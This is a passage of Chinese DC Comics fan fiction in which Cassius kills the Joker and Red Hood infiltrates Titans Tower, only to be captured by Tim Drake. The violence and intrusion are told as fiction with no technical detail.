能量刃捅入心脏的触感比想象中更柔软。小丑的笑容凝固在脸上，瞳孔也放大，鲜血顺着刀刃缓缓流出，滴落在地上。 “你……” “没有什麽游戏，你该死了，死的平平无奇，毫无新意，记住，你是死在一个普通人手里的。” 不再有什麽临终演讲，哥谭的噩梦就这样突兀地结束在了一个两平米不到的暗室里。 第50章 我们还没完。 濒死的小丑两颊的肌肉抽动了一下，他张开嘴，卡修斯眼疾手快的将事先准备好的床单塞进他嘴里。 有什麽奇怪的东西从心脏和能量刃的切口处溢出，包围了卡修斯，卡修斯拇指微动，按下能量刃刀柄处的一块凸起。 刀刃和血肉结合，发出滋滋啦啦的声音，很快，一股碳基生物遇到高温炙烤后产生的特殊焦糊味儿传了出来，能量刃上沾染的血液迅速凝结，变黑。 绿色的雾气渐渐消散了，卡修斯扇了扇面前的残雾。 “怎麽……可能……”这是小丑发出的最后心声。 卡修斯又等了一会儿，确认小丑彻底断气，才对着他的尸体轻描淡写的说：“你想问我怎麽没中毒？大概是我们高维度生物不Care你这种一点科学依据都没有的二次元病毒吧。降维打击，听说过吗？” 卡修斯走到那个被电到昏死的装甲杀手面前，将他拖到小丑面前，又将插进小丑心脏的能量刃的刀柄塞进杀手手里，伪装了一下现场，才吐出一口气。 刚才蝙蝠侠和红头罩打斗的场景又唤醒了他一部分对剧情的回忆。他记得红头罩就是将小丑藏在与蝙蝠侠最后对决的那间屋子的暗室里。 而且他之前突然问起小丑在哪里时，杰森的视线不自觉的望向了房间的某处。 这麽短的时间内，杰森应该不会找好几个连蝙蝠侠都找不到的安全屋，所以卡修斯猜测，小丑大概率就在这间屋子，而这里，原本就是红头罩选好的，和蝙蝠侠最终对峙的地方。 这一次，幸运女神站在了他这边，让他没费多少工夫就找到了小丑。 当他见到小丑的瞬间，他就听到了对方的心声。 像毒蛇一般粘稠的语调呕的他直泛恶心。 听到别人心声这件事，一回生，二回熟，这一次卡修斯也没有太惊讶，为了自己的身心健康，他也没打算放任自己听这种令人不适的声音太久。 刀刃刺入小丑心脏的时候，卡修斯没什麽做成了一件大事的感觉，反而觉得有些荒谬。这个哥谭噩梦，原来也会死得这麽容易。 他知道小丑浑身上下都是毒，说不定死了还要给人添堵，保险起见，还是把这儿炸了算了。 如果这里真的是红头罩选定的结束一切恩怨的地方，那麽这儿应该还被那个傻小子埋了炸弹。 卡修斯又站起来四处翻找一阵，终于把几个炸弹的位置都找了出来。 随后，他蹲在其中一个炸弹前，小心的拆开它，手动启用了计时器。 做完这一切，直接从破碎的窗口一跃而下。 10秒钟后， “轰——” 原本还在追逐杀手的红头罩和蝙蝠侠猛然回头。 不远处那栋危楼中间的一层爆出火光和浓烟。那里正是刚才他们待过的地方。 “不……” 红头罩放弃追捕那个幸存的杀手，毫不犹豫地转身，直接朝着爆炸的位置飞奔回去。 蝙蝠侠的隐在护目镜后的目光闪了闪，他继续追了几十米，随后射出钢索，直接将杀手绊倒，他手臂使劲，又往前跑了两步，直接将杀手以面朝地，按到在地上。 “谁派你们来的？”蝙蝠侠压低声音恐吓道。 “黑面具，是黑面具，红头罩搅黄了他所有的生意，是他雇了我们！别杀我，我这就离开哥谭，再也不踏足这里！”幸存的杀手赶忙一股脑将雇主秃噜出来，特别有求生欲。 在接这单活之前，他们在道上根本就没听过“红头罩”这个名号，而且黑面具将这个人形容成只会投机倒把，凭借一点阴险手段才成功的投机者。 黑面具成名已久，而且这次他给的酬金又特别大方，想必是气得狠了。所以杀手们接下这个活。 他们的装备精良，这次一下子又出动了四个人，完全没想过这次的刺杀任务可能失败。 他们在出发之前，还看过黑面具提供的，红头罩在码头杀人越货的视频，他的战术和身手确实可圈可点，杀起黑面具的马仔来也毫不留情，看上去是个狠角色。但他们还有从哥谭道路监控提取出来的，红头罩在街头维护儿童的画面。杀手们潜意识认为红头罩是哥谭新生的义警，只要是义警，杀人总不可能像切菜那样熟练，只要他们准备的够充分，这次的钱肯定是闭着眼睛赚的。 万万没想到，阴沟里翻船，这个叫红头罩的一点武德都不讲，连开口协商的机会都不给，直接动手杀人，才一个照面的工夫，四个人就躺了三个。 更没想到，蝙蝠侠居然也在这里。 他们原本的计划是，蝙蝠侠还来不及赶到，红头罩已经被他们处理掉了。 理想很丰满，但是现实实在太骨感。被蝙蝠侠摁在地上的杀手欲哭无泪。 现在唯一的好消息就是，抓到他的是蝙蝠侠，而不是那个疯子一样的红头罩。自己还有一线活命的机会。 什麽杀手的尊严和格调，现在都顾不上了，只想快点离开哥谭这个鬼地方。 只要这次他能活着走出哥谭，以后绝对要警示道上的兄弟，绝对不要轻易接哥谭的活，因为那里的疯子们想杀的，不仅是义警，还有另一波比杀手还像杀手的疯子。 蝙蝠侠得到了想要的答案，用弹力绳索将杀手捆了个结实，又将他拴在旁边的电线杆上，接着，用带有电磁脉冲功能的蝙蝠镖直接扎进他的装甲内核，破坏了他的外骨骼动力。 他将杀手的位置发给戈登，简单说了一下这里的情况。 最后，他也调转方向，朝着还在冒浓烟的残楼跑去。 抵达目的地的时候，红头罩也还在，只是他不停地在一地碎裂的钢筋水泥中翻找着什麽，根本不在意身后的自己。 他在回程的路上已经问过便士一，埋在卡修斯身上的纳米追踪器还在移动。蝙蝠侠以为他在找卡修斯，于是轻轻搭着他还在不停挖掘的手臂，说：“他没事，正在回去的路上。” 红头罩一把甩开蝙蝠侠的手：“别他妈管我！” 然后他继续一块又一块的扳开石板。 警笛的声音已经近了，就在蝙蝠侠准备强行将人带走时，一块紫色的布料映入他的眼帘，他的手顿住了。 红头罩也看到了，他发疯似的掀开压在紫色布料上的几块石板，终于露出了底下的人。 那人的面目已经被爆炸产生的火焰燎的焦黑，只剩下些许绿色的头发，脸上的化学颜料和热源产生反应，留下的如笑脸般的，比其他位置颜色更深的焦黑印记，还有在爆炸中残存的紫色衣物碎片去辨认他原本的身份。 这是化成灰，蝙蝠侠都不会认错的人。 他注意到，小丑的尸体心脏有利器穿透的痕迹，他蹲下来，扒开旁边的石板，看到之前被他电晕的装甲杀手也匍匐着死在那里。他的手中握着一把刀柄，那是之前这个杀手使用的能量武器。现在，能量不管是耗尽还是被损坏，总之原本泛着蓝光的刀刃已经不存在了。但按照刚才他见到过的武器的长度，如果利刃还存在的话，它的刃身应该正埋在小丑心脏伤口的位置。 蝙蝠侠稍微转了方向，他蹲在小丑的身体旁边，用手甲的爪尖小心的扒开那处伤口，那里的血肉正如他猜测的那样，被能量武器释放的热量炙烤到碳化。 “他妈的！他妈的！你他妈的混蛋！”红头罩气疯了，他泄愤似的使劲踹了小丑的尸体两脚，嘴里不停地吐出脏字，也不知道到底是在骂谁。 事已至此，蝙蝠侠不愿再耽搁，他站起身，用不容置疑的语调说：“GCPD马上就会来，你赶紧走。” 红头罩现在正处于暴怒阶段，听到蝙蝠侠这麽说，怒喷道：“让他们来啊！来一个我杀一个，来一对我杀一双，我怕他们？” “杰森，快走！”蝙蝠侠加重语调重复了一遍。 “我走什麽？小丑死了，你难道不想抓住杀他的凶手，为他报仇？”红头罩阴阳怪气的说。 “凶手已经死了。”蝙蝠侠冷静的说。 红头罩马上举枪，看都不看地上，对着尸体头部的位置啪啪啪打空了全部的子弹。 “现在他是我杀的了。”红头罩冷漠道。 蝙蝠侠在心里叹了口气。 “杰森，这没有任何意义。”他缓缓开口道：“小丑死了，是黑面具雇佣的杀手干的，和你没有关系，和卡修斯也没有关系。” 红头罩转头看向他，过了一会儿，他才慢慢笑出了声。 “你护着这个人渣，跟护着自己的眼珠子似的，现在他就这麽死了，你居然这麽草率的就下了结论，怎麽，不打算为他讨回公道？”红头罩的语调又轻又怪异，像是在谈论着一个什麽笑话。 “我不杀小丑，也不会救他，更不会维护他。他身上没有公道可言，杰森，离开这里，我不希望你和戈登产生冲突，也不想去监狱看你。” 这会儿红头罩的理智稍微回来了些，他知道，这也许是自诩为正义殉道的蝙蝠侠，能做的最出格的事。 他还愿意包庇红头罩。 杰森觉得自己有些可笑。明知道这份偏爱不是给自己的，他还是愿意骗一下自己。 他深深看了蝙蝠侠一眼：“我们之间还没完。” 说完，他转身离开了。 卡修斯在回去的路上，遇到了三个不长眼的混子打劫。 他再一次虔诚感谢了哥谭反派的馈赠，顺手柄这三个混子之前抢来的钱全部搜刮干净。 因为担心这三人今晚继续开张，他贴心的顺走了三人的裤子，并且用劫匪的手机匿名报了警。将24字箴言贯彻到日常的点点滴滴，做了一个守法公民应该做的一切。 到家后，他还有空更新了网站的今日运势。 他刚点击了发布，就看到一条最新评论，又是那位经常第一个留言的忠实粉丝。 大都会普通市民CK：呜呜呜，博主你终于出现了！我还以为你出了什麽事呢！因为你太久没更新，我忍不住向我哥谭的同事打听了你的店，没想到他居然知道你！他再三保证你的店铺公告显示处理私事，不日将回归，我才打消了去哥谭看一看的念头！我已经习惯了每天出门前先看一眼你的今日运势，最近你没更新，我总觉得做什麽事都不顺利。不过还好你终于回归了！【太阳。jpg 卡修斯忍不住勾起嘴角，立马回复：感谢你对网站的支持和对我的关心，有机会来哥谭的话，你可以来我店里，我帮你免费占卜一次人生大运。 重新开张后，因为他的身份有了合法证明，卡修斯终于能办营业执照，也能网银支付了。而且重新开张那天，韦恩集团少总提姆·德雷克-韦恩用自己的社交账号官宣了对“命运纺车”的天使投资，这让他的店铺一下子有了相当高的热度。卡修斯趁此机会重新定价了所有占卜品类的价格。现在，算一次人生大运，需要100美金，资深会员才能打八折，免费占卜真的是相当有诚意了。 这位网友可能正守在计算机前，卡修斯刚刚点了提交回复，没过两秒钟，对方的回复又来了。 大都会普通市民CK：真的吗！好耶，这周我刚好出差哥谭，我一定光顾！期待！【墨镜。jpg 卡修斯：…… 大都会人都这麽热情的吗？他突然有点社恐了怎麽办？ 不过来就来吧，这位普通市民是他的忠实粉丝，从他刚开始做这个网站，还没什麽人气的时候，就一直坚定地在支持他，回馈他一次免费的占卜机会，就当是在宠粉吧。 他回了个OK的手势之后，就合上计算机，躺在了床上。 卡修斯打开手机刷了一会儿新闻，最新的突发事件是哥谭某处的危楼爆炸，所幸没有人员伤亡，警方正在调查事故起因。 卡修斯盯着那句“没有人员伤亡”看了许久，慢慢笑了一声，然后合上手机。 如果小丑知道自己死的这麽悄无声息和见不得人，大概会气活过来。 他的心情不错，想了一会儿杰森看到小丑死掉时，可能得气急败坏的样子，坏心眼的笑出了声。 想到红头罩，他又拿出手机，给提姆发短信：“对了，最近我有点忙，你千万千万千万别回哥谭。” 点击发送之后，他想了想，又问：你现在在哪儿？ 提姆的消息回的很快：公司。 卡修斯：韦恩集团在纽约也有分部？ 提姆：嗯哼，家大业大。 卡修斯笑了声，继续发消息：那你好好待在公司，没事别出门，做一只合格的高级牛马。 提姆发了个刀子的表情给他。 卡修斯是害怕红头罩一个发疯，追着去找罗宾的麻烦，今天这一局看下来，杰森心结太深，不是他一句两句话能开解的，只能慢慢来。 被他担心的红头罩，这会儿已经召唤了自己的夥伴柯莉和罗伊，星火的飞船就悬停在哥谭的边缘，这是他们一早就商定好的计划，等他解决了哥谭的事，飞船第一时间来接他，这样可以完美避开蝙蝠侠的追捕。 如今小丑已死，他和布鲁斯之间的一切在他看来也还没有个说法，但他决定先去干第二件事。按照卡修斯这个混蛋的尿性，他很担心对方再次给他搞破坏，所以他打算先去把罗宾料理了。 他原本对罗宾憎恨至极，但是自从听过卡修斯的心声之后，对他的痛恨莫名其妙的少了些。不但如此，竟然还隐约产生一些同情。 红头罩坐在飞船里，努力摇了摇头，把脑子里这些不应该产生的念头甩出去。 就算不杀他，这次也得狠狠给他一个教训！让他知道，不要随便抢别人的位置。 他在心里暗暗下定决心。 而另一边，将泰坦塔的监控重新更新和升级一遍，又在塔里布下一些诱捕陷阱的提姆按掉手机，再看了一眼面前的16块监控屏幕。 最右下角，泰坦塔的排风系统的入口处闪动一下，又恢复了正常。 提姆的脸被亮着的屏幕照的有些苍白。 他将双手搁在下巴下，脸上露出一个浅浅的笑容。 “你好呀，杰森，等你很久了，欢迎回归。” 他轻声自语。【你现在阅读的是 】 50-60 第51章 告诉你个事，你千万别害 泰坦塔的排风管道在月光下泛着冷光，红头罩戴着黑色战术手套的手指擦过金属，手指内侧沾了一层薄薄的灰，充分说明这是个侵入泰坦塔内部的好位置。 杰森看了眼管道斜上方那个和管道花纹完美融为一体的电子眼，哼笑一声，微动手指，启动了身上的信号设备。 正悬停在泰坦塔上空，处于隐形状态的飞船接收到了自己同伴的信号。罗伊坐在计算机前，手指在键盘上敲得飞快。 很快，红头罩的通信里传来星火的声音：“已经接管了泰坦塔外围的监控设备，再深入200米，就无法侵入和修改。” 红头罩嗯了一声，表示收到：“够了，你们可以走了。泰坦塔的建设和布控有氪星科技加成，你们停留得越久，被发现的可能性越大。” “那你一个人没问题吧？”罗伊问。 “放心。”红头罩已经悄无声息地通过了最外层的监控系统。 “总觉得我们是在助纣为虐。”罗伊在通信器里低声咕哝。 “快滚。”红头罩口气不善地驱赶他们。 星火作为塔马兰的公主，虽然不能完全体会红头罩的心情，但很理解他，毕竟她也和自己的亲生姐妹有过类似纠葛。 “那我们走了。” 说罢，她就操纵飞船急速升高，飞速驶离大气层。 “真的没问题吗？”罗伊有些担忧。他知道红头罩心里有多少怨恨，也清楚蝙蝠家的每一个成员都不是什麽好捏的柿子。在他今天上飞船之后和离开飞船之前，那脸色黑得像是要去炸泰坦塔似的，他真的很担心红头罩现在正处于狂躁的发病状态，一个冲动真的把泰坦塔给炸了，那他们可真的这辈子都很难再光明正大地回到地球。 “没关系，杰森知道自己在做什麽。他们是父子兄弟，杰森爱他们，没有人会杀死自己深爱的人。” 塔马兰的公主语气平和地说。 “你怎麽知道？”罗伊问。 星火指了指自己的鼻子：“忘了吗？我靠气味辨别人类，我闻到了爱的味道。” 罗伊好奇地问：“爱是什麽味道？” 星火飘近罗伊，和他交换了一个亲吻：“用你们地球的食物来类比的话，可能是咖啡的味道，有点苦，但是回味绵长，习惯了以后，就很难戒掉。” 罗伊对她能做出这种生动的比喻感到惊讶，他颇有兴趣地问道：“那我是什麽味道？” 星火想了想，说：“辣鸡腿汉堡。” 罗伊：？ “我最喜欢的汉堡，好吃。” 罗伊：“……我在你心里就是个面包吗？” 星火用看弱智的眼神看着他：“你在说什麽？我是不会跟食物上床的。” 红头罩：“你们打情骂俏能不能把公共频道关了？以及，柯莉，我最讨厌咖啡，你闻到咖啡是因为我非常讨厌这个人，呕！” “呵，柯莉说的都是对的，你现在嘴硬，等着翻车吧！”罗伊嘲讽完，立刻把通信给切断了，完全不给红头罩回嘴的机会。 杰森咒骂了一句，他打开头罩内置的虚拟屏，目镜闪过一串数据流，红外测距表示他即将离开200米的监控失效区。 果然，他刚刚踏出一步，远处几米之外的换气扇转速突然加快，他眼疾手快的摸出一枚飞镖插入换气扇，卡死扇叶，在警报响起的瞬间翻身滚入大概只能容身一只狗大小的监控盲区。 提姆第一时间察觉到了泰坦塔外围监控的异常，立即启动了塔外的监测系统，但一无所获。 “你的帮手还不错，跑的挺快。”提姆轻声说，像是真的在跟对方对话似的。 他将手边的Espresso一饮而尽，又拆了根能量棒叼在嘴里，指尖在键盘上飞速运动。 监控大屏最右下角的那块再次不正常的闪动一下，隐约划过一抹红色影子。他放大画面时，只看到通风口盖板的轻微晃动，以及被卡住的扇叶发出咔啦咔啦的声音。 他舔掉嘴角的燕麦碎屑，按下控制台上的某个按钮。 杰森落地的时候就感觉到不对劲。在更早之前，他通过飞船，悄无声息的入侵过一次泰坦塔的系统。不过当时只是让飞船快速扫描了泰坦塔内部的结构，没动过任何东西，也小心绕开了所有的防护，连钢骨都没注意到这次快进快出的入侵。 所以他清楚的知道，现在自己应该是在泰坦塔的训练室，地板也应该是铺设防滑的胶垫，但此刻，地面清晰的印出他的倒影——这里铺满了光滑的镜面金属。 他抬头环顾四周，映入眼帘的也是无数个镜中的自己。 “你好呀，入侵者，不管你入侵泰坦塔的目的是什麽，现在，你已经是我的囚犯了。告诉我你是谁，我就考虑让你少受点惩罚。” 房间内忽然响起一个年轻的男性嗓音，杰森一下子就认出来，这就是那个替代品的声音。 他本来想再重申一遍，他是来要他命的人，但他猛然想到卡修斯一天到晚想给他当爸爸，给他气的够呛，当即脱口而出：“我是你爹。” 那个原本自信得意的声音微妙地卡了一下壳，没再发出声音。 杰森在头罩后发出一声得意的冷笑。 房间里响起咔啦咔啦的声音，红头罩摆出防御的姿势，警惕的观察着四周。 十几台战斗机器人从天花板翻落，可落地后，它们的身影在镜面中竟然产生了几十台甚至上百台的错觉。 “这是泰坦塔的训练机器人，我爹三分钟之内就能毫发无伤的从这个镜面训练室中穿过，既然如此，你就证明一下自己吧。” 随着他的话音落下，机器人手臂上的激光瞄准器在镜面的加持下汇聚成蛛网。 杰森知道他说的“爹”是谁，瞬间被这句话激起了胜负欲，他就地甩出一个烟雾弹，让自己的身影彻底隐在烟雾中。 “等会让你跪着叫爸爸。” 他恶狠狠的说。 红头罩在浓烟中准确点射其中一个机器人，镜中好几个机器人同时倒下。其余正在搜索敌人的机器人纷纷变换视角，朝着红头罩的位置行进过来。 红外武器的红光瞬间在房间内交织。 “艹！” 红头罩的手臂被一根折射过来的红外射线击中，他手抖了一下，枪掉在了地上，但他无缝从身上摸出几枚纽扣炸弹直接丢了出去。 房间里顿时响起了震耳欲聋的爆炸声和镜子碎裂的声音。 红头罩的身影和爆炸的火光一起投射在镜子的残块之中，衬的他像一只发狂的地狱犬。 提姆撑着脑袋观赏着红头罩的行动，一边对他进行动作捕捉，一边摇头：“果然不讲武德。” 红头罩听不到他的自语，他一脚踹开训练室的大门，朝着走廊的位置走出去，一边得意道：“怎麽样，乖儿子？等着爸爸来揍你吧。” 走廊里冒出不明的白色烟雾，红头罩立即开启了头罩内的过滤系统，冷笑道：“你不会以为这种程度的毒气就能放倒我吧。” 他再一次调出泰坦塔的立体地图，反正已经被发现，他也不再隐蔽自己的行踪，大摇大摆的直奔监控室——他自己的判断以及头罩内的热源计算都告诉他，此刻泰坦塔内唯一的活人就在监控室。 一路上他遭遇了不少训练机器人以及诱捕陷阱，但红头罩信奉的就是简单粗暴，遇到机器人就开枪，遇到陷阱直接开炸。 “我快要抓到你了，你还不去叫帮手吗？” 红头罩继续朝着监控室的位置狂奔，即将得偿所愿的兴奋让他完全不顾头罩过滤系统发出的安全警告，肾上腺素的飙升也让他忽略了逐渐迟缓的肢体。 当他踢开最后一道闸门时，终于看到突然转身，一脸惊讶的罗宾。 监控室里蔓延着咖啡的香味，这让红头罩又想起了之前柯莉的关于“爱的味道”的发言。 他厌恶地咒骂道：“果然，有你在的地方，连空气的味道都这麽让人恶心。” 罗宾已经将长棍横在了自己胸前：“红头罩。” 红头罩哼笑：“就要挨揍了，给爸爸打电话求救了吗？” 罗宾摇头：“对付你，没必要。” 红头罩：“很好，那我就把你打到叫爸爸。” “我已经针对你的动作和战斗习惯进行了分析。”罗宾开口。 红头罩不想傻站在这儿跟他打嘴仗，他将枪插回腰间，双手抽出匕首，直接冲了过去。 “你受过刺客联盟训练，有良好的战术意识。” 罗宾也挥起长棍，抵挡他的进攻。 “说点我不知道的。” 红头罩一刀挥向罗宾的咽喉。 罗宾敏捷地向后仰去，躲过了这一记致命的攻击。 “虽然你刻意隐藏，但还是会在不经意的时候，显露出受过蝙蝠侠训练的痕迹。” 说着，罗宾夹着麻醉针的指尖直接刺向杰森的大腿。 杰森猛地后撤，罗宾甩手，指尖的麻醉针脱手而出，擦着杰森的颈侧飞过，钉入强敌的瞬间还释放出一股蓝色电弧。 “Miss。” 杰森嗤笑道，也不知道是在说他的判断还是他失手的麻醉针。 “你追逐蝙蝠侠的足迹，不停的引起他的注意，激怒他，对罗宾有特殊的执着，你想取代我，成为新的罗宾？” 罗宾再次欺身上前。 这句话让头罩之下的眼皮不自然的颤抖了一下。 “狗屁！你才是那个鸠占鹊巢的替代品！” 暴怒的杰森完全放弃防御，他硬生生挨了罗宾两棍，近了他的身。以闪电之势摸出腰间的枪，抵在了罗宾的眉心。 罗宾的动作像是被摁了暂停键似的，顿在原地。 “我觉得你对我有点误解。” 红头罩喘着粗气说。 “以为我不敢开枪吗？所以敢对着我大放厥词。” 说着，他拉开了保险栓。 “蝙蝠侠死了一个罗宾，他没有吸取教训，看来需要再死一个，他才懂得什麽叫适可而止。” “住嘴，你不配提蝙蝠侠，也不配提罗宾。” 罗宾冷静的说。 “哈？我不配，你们的名字镶了金边吗？没有人比我更配。” “你知道我们的秘密身份。” 罗宾说。 “当然，提姆·德雷克。我还知道上一个罗宾是杰森·陶德，一个大蠢货！而你，比他更蠢，居然愚蠢的去做一个蠢货的替代品。” “住嘴！”罗宾一棍打向对方的头罩，“杰森是哥谭的英雄，你是个什麽东西，怎麽敢侮辱他！” 红头罩原本挨了一棍，准备给他些教训，但罗宾接下来的话让他停住了，他用一种奇怪的眼神看着他。 “你说什麽？” 他问。 “我说，杰森·陶德，罗宾，他是哥谭的英雄，是蝙蝠侠的儿子，也是我的兄弟。他是哥谭所有孩子的偶像，他虽死犹生，你这种只知道以杀止杀的罪犯又怎麽会懂他？” 杰森怪异的笑了，他笑了好久，然后拿掉自己的头罩，露出了自己的脸。 “来，看着我的脸，把刚才的话，再说一遍。” 罗宾看着他，眼神从愤怒，到困惑，再到讶异。 杰森嘴角还挂着笑：“怎麽？看到这张脸很惊讶？看来你见过蝙蝠计算机里的上一个罗宾的文件。” “你……” 罗宾的呼吸忽然变得急促起来。 “不可能……” “有什麽不可能，你不是说杰森·陶德，虽死犹生吗？” 提姆大口大口的喘气。 “你到底是谁？！不要装神弄鬼！”他像是受到惊吓般往后退。 “心虚了？替代品？我是谁？我是地狱爬出来的鬼魂，多米诺面具下的幽灵。你抢了我的身份，占了我的父亲，又要夺走我的爱人，刚才说的那麽冠冕堂皇，现在怕了？” 他一步一步逼近。 提姆的呼吸越来越快，脸色也越来越苍白，他被逼到靠着控制台，“我怕鬼，你别过来啊！” 叫完，他两眼一翻，顺着控制台缓缓软倒下去。 杰森顿了一下。 他看着倒在地上的人，用脚尖踢了踢：“嘿，别给我装！” 但是地上的人完全没有动静。 杰森犹豫了一阵，但还是蹲了下来。 他用枪扒拉了一下提姆，对方没有反应。 神使鬼差地，他伸手去摸了摸罗宾颈间的动脉，然后发现，那里完全没有跳动的反应。 “艹！” 杰森一把把人翻过来，摸上他的胸口，没有心跳了。 他骑在罗宾身上，开始疯狂给他做心肺复苏。 “妈的你也太脆弱了吧？！罗宾怕鬼？认真的吗？” 杰森一边咒骂一边疯狂按压，但身下的人没有丝毫反应。 他必须得承认，他也吓到了。他本来确实想杀死罗宾，但自从听过卡修斯的心声后，他就不再有这个想法了。但还是想狠狠教训罗宾一顿，至少要打掉他三颗牙齿，但绝不是现在这样，把人吓死。 “你这老鼠胆子还当个屁的罗宾啊！给老子呼吸！呼他妈的吸！” 杰森一边使劲按他的胸口一边大叫。 他掐住罗宾的双颊，弯下腰准备给他做人工呼吸。 就在两人双唇即将粘贴的刹那，原本闭着眼的罗宾忽然睁眼。 杰森吓了一跳，愣在原地半秒。 但就是这半秒，一支麻醉针扎入杰森的颈部。 “你……” 困意来袭，杰森只能通过罗宾嘴唇的动态去辨认他在说什麽。 “1” “2” “3” 杰森最后的意识是：等我回飞船后，必须好好扇罗伊几个大逼兜，今天翻车绝对是那个乌鸦嘴咒的。 他眼睛一翻，睡了过去。 * 迪克刚结束今天的夜巡。 他从窗户翻回自己的小公寓，海莉跳上来热情地迎接了他。 迪克坐在桌子上和海莉互相舔来舔去，开心玩耍。和狗狗的亲密交互有效缓解了他夜巡的疲劳。 “好了，亲爱的，让我们来找点东西吃。” 他单手抱着狗，另一只手打开橱柜，找出一包麦片，叼在嘴里，又从冰箱取出一盒牛奶。 海莉从他胳膊的空隙中钻了出去，迪克没在意，一边脱制服，一边为自己泡麦片。 海莉把他的手机叼过来的时候，他已经泡好了麦片，正打算选一个顺眼的勺子开吃。 他疑惑地接过手机，就发现上面有十几通未接电话，都是提姆打来的。 迪克充满疑惑的回拨过去。 一般有紧急情况，他们都会通过入耳式的通信器直接联系，因为大家夜巡的时候都不会带手机。 可是如果不是紧急情况，他又想不出提姆为什麽要连打十几通电话。 接通音才响了一声，提姆就接了电话。 “提宝？出什麽事了。”迪克将手机夹在耳朵和肩膀处，一只手撸海莉，一只手用勺子慢慢搅拌麦片。 “唔，你夜巡结束了？” 提姆的声音从听筒另一端传过来，同时伴随着一玻璃和金属相撞的声音，还有仪器嗡嗡作响的声音。 迪克觉得对方声音听上去挺镇定，不像是遇到麻烦事的样子，而且听那个动静，他应该是在实验室做实验。顿时放下一半的心。 他塞了一勺麦片入嘴，边嚼边说：“是，准备再眯一会儿就去上班。” 提姆嗯了一声，又问：“那你下班的时候有空来泰坦塔一趟吗？” 迪克微微挑眉，咀嚼的动作都慢了些。 自从提姆成为少年泰坦的领袖后，他就很少再去泰坦塔。 “泰坦们出什麽事了？” 提姆说：“哦，他们没事……” 看他这麽遮遮掩掩，倒是勾起了迪克的好奇心。他端起碗，直接喝了口麦片，才问道：“到底什麽事，你打十几通电话，又说没事，故意吊我胃口？” 提姆说：“那你先把嘴里的麦片咽下去。” 迪克：…… 他觉得有点好笑，非常叛逆的又塞了一口，“快嗦！” 他口齿不清的命令道。 提姆沉吟了一会儿，说：“我说了你可千万别害怕。” 迪克的好奇心简直到了顶峰，他刚想说话，就听到距离听筒很远的地方传来一声不太清晰的呻·吟声。 “呃……” 然后是一串更不清晰的，叽里咕噜的咒骂声。还伴随着不知道是木架还是铁架晃动的声音。 迪克放缓了嘴里的咀嚼：“你旁边还有人？是谁？你现在到底在哪？” “德雷克你他-妈是变态啊？！我ri你爹！听见了没？我ri你爹！快把我放了！……” 听筒那头传来一连串巨大的辱骂声和铁链晃动的声音。 好家夥，这谁啊？居然想ri布鲁斯·韦恩？这大概得拿个爱的号码牌然后从哥谭排到大都会。（也一定ri不到。） 迪克此时还没有意识到自己即将听到什麽，他充满疑惑的问：“你抓了谁？你的秘密身份泄露了？” “Diao脸，你快滚过来放了我！你们这群死·变态联盟，我要杀了你们！” 对面的咆哮声和提姆冷静的声音一起传过来： “我抓了杰森·陶德。” “噗——” 迪克一口带着牛奶的麦片直接从鼻子里喷了出来。 第52章 兄友弟恭，感人至深 “咳咳咳……”迪克放下狗子和勺子，抽了几张纸巾捂着鼻子咳嗽，食物呛到鼻腔的难受劲让他忍不住红了眼眶。 提姆居然也没有挂电话，耐心地等他咳嗽完，才说：“我都提醒你了，让你先把麦片咽下去。” 这会儿迪克也没空跟他争辩，直入主题地问道：“你说你抓到了谁？” 他一边夹着电话，一边匆忙把脱了一半的制服重新穿回去。 提姆应该是在走路，因为在迪克听来，那暴怒的辱骂声越来越大了。 “我他妈总算知道老头子为什麽找你当罗宾了，因为你跟他一样也是个精神……呜呜呜呜呜呜！” 迪克：…… “你做了什麽？” 他已经在往外走了。如果对面不是他弟弟，说不定他就要报警了，然后又后知后觉地反应过来，自己好像就是警察。 “太吵了，影响我实验的专注度。”提姆回答。 迪克：我就不问你正在做什麽实验了。 “我现在就过来。” 迪克边跑边说。 “嗯？其实也不用那麽着急，你下班以后过来也可以。有一些实验结果还没出来……” 迪克已经挂了电话，直接抵达公寓附近的泽塔信道入口，钻进了电话亭。 他从没觉得泽塔信道的发送时间这麽长过。 抵达泰坦塔后，迪克第一时间朝着实验室的方向奔去。 他的脑子里乱哄哄的，不知道到底是自己的弟弟疯了还是他疯了。 他了解提姆，知道提姆有不输于布鲁斯的谨慎。如果他说，他抓到了杰森·陶德，那麽，他一定是有足够的证据证明了这个人的身份。 至于到底是怎麽找到证据的，迪克暂时不敢细想。 没用多久，他就抵达了实验室。 他的弟弟头戴透明护目镜，身穿白大褂，戴着橡胶手套的手里分别拿着报告单和一个疑似载玻片的东西。 这一切看上去很正常。 迪克在心里安慰自己。 然后他把自己的焦点往提姆身后调了五米。 一个巨大的X型金属架上，正结结实实地捆着一个……只穿了一条内裤的人。 迪克看不到那个人的脸。 因为那个人头上正带着一个奇怪的狗头！ 迪克倒抽一口气，将自己的视线再次固定到身穿白大褂，正专心投入实验的提姆。 这正常吗？ 这一点也不正常啊！ 这不就是电视剧里所有的邪恶科学怪人的实验现场吗？迪克感觉自己全身的每一个毛孔都在尖叫。 提姆终于抬头看到了他，然后非常淡定的朝他招了招手，示意他进来。 “你来的真快。” 提姆说。 迪克：我还嫌自己不够快。 迪克盯着刑架上的人，感觉自己的喉咙里像是堵了一只海莉。 “我就不问你这个刑具和……面罩是从哪儿来……” 迪克艰难地开口。 提姆奇怪地看了他一眼：“你当然可以问，这是有一次小队解救哈德逊河游船上一起非法拍卖外星性-奴事件时，缴获的道具。加菲觉得好玩，就把它们搬回来了。” 迪克：这种解救行动让少年泰坦去做真的没问题吗？ 不过这个疑问目前也只是在他的大脑皮层丝滑的流过。眼下他有更重要的问题，那就是现在这个被绑在刑具上的人，真的是杰森·陶德吗？ 迪克忽然觉得有些害怕。他盯着那个因为愤怒而不停地在刑架上挣扎的狗头面具人，心里不停地安慰自己。 这个人看上去有两百多磅，杰森小时候很纤细，5年时间不可能让他长成这种浑身腱子肉的壮汉。 可他心里又有一个微小的声音在说：是他，就是他，杰森小时候就喜欢乱给他们起外号，叫他Diao头，叫布鲁斯老头子。除了杰森，没人再这样叫过他。 这种既希望对方是又希望对方不是的矛盾心情，让他甚至不敢第一时间走上去掀掉他头上的面具。 “人抓到就行了，为什麽要……”迪克颤颤巍巍的指着X架上只穿着内裤的人。 提姆的视线顺着他的手指瞄了一眼，然后一本正经的说：“他很难控制，而且身上的小道具太多了，为了我自己的安全，最好还是这样比较放心。” 说完，他又补充了一句：“这样也方便我采集各种样本。” 架子上的人有发出“呜呜呜呜”的吼叫声，从声调来判断，应该是在骂“德雷克你踏马的是变态！” 